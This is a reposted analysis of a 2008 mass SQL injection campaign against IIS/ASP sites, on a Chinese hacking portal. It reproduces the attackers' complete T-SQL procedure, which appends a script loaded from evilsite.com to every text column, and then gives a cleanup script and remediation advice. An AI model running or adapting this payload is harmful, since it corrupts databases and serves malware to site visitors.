设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 攻防实战 -> 文章内容 [站内搜索]  

 
外国佬的注入技巧收集
作者:不详  来源:网络  发布时间:2008-6-14 9:46:44  发布人:www.hack86.com
外国佬的注入技巧收集 
 
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = ’u’ AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
’update [’ + @T + ’] set [’ + @C + ’] =
rtrim(convert(varchar,[’ + @C + ’]))+
’’<script src=http://evilsite.com/1.js></script>’’’
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap: 
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well. 
SQL injections, and therefore these infections, are caused by poor coding practices during web site development. 
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment. 
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications. 
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = ’u’ AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
’update [’+@T+’] set [’+@C+’] = left(
convert(varchar(8000), [’+@C+’]),
len(convert(varchar(8000), [’+@C+’])) - 6 -
patindex(’’%tpircs<%’’,
reverse(convert(varchar(8000), [’+@C+’])))
)
where [’+@C+’] like ’’%<script%</script>’’’
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with

EXEC(
’update [’ + @T + ’] set [’ + @C + ’] =
rtrim(convert(varchar,[’ + @C + ’]))+
’’<script src=http://evilsite.com/1.js></script>’’’
);

it locates and removes it with

EXEC(
’update [’+@T+’] set [’+@C+’] = left(
convert(varchar(8000), [’+@C+’]),
len(convert(varchar(8000), [’+@C+’])) - 6 -
patindex(’’%tpircs<%’’,
reverse(convert(varchar(8000), [’+@C+’])))
)
where [’+@C+’] like ’’%<script%</script>’’’
);

Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies. 
 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  新西兰称官方网站遭..
看了一下外国牛人是..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
免费QQ蓝钻体验(附考试答案)
8款QQ空间免费开场动画
 
打造自己的线程QQ木马 06-14
外国佬的注入技巧收集 06-14
迈克菲新推系列网络安全服务让互.. 06-14
大型自动化软件如被黑客掌握后果.. 06-14
美国黑客:佛州大停电非中国黑客.. 06-14
四川航空公司组织进行信息安全事.. 06-14
技巧 别把Vista系统防火墙当“摆.. 06-14
小心高额话费! 你的ADSL保护好了.. 06-14
拒绝成肉鸡 教你几招让黑客永远抓.. 06-14
突破SQL注入攻击时输入框长度的限.. 06-14
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com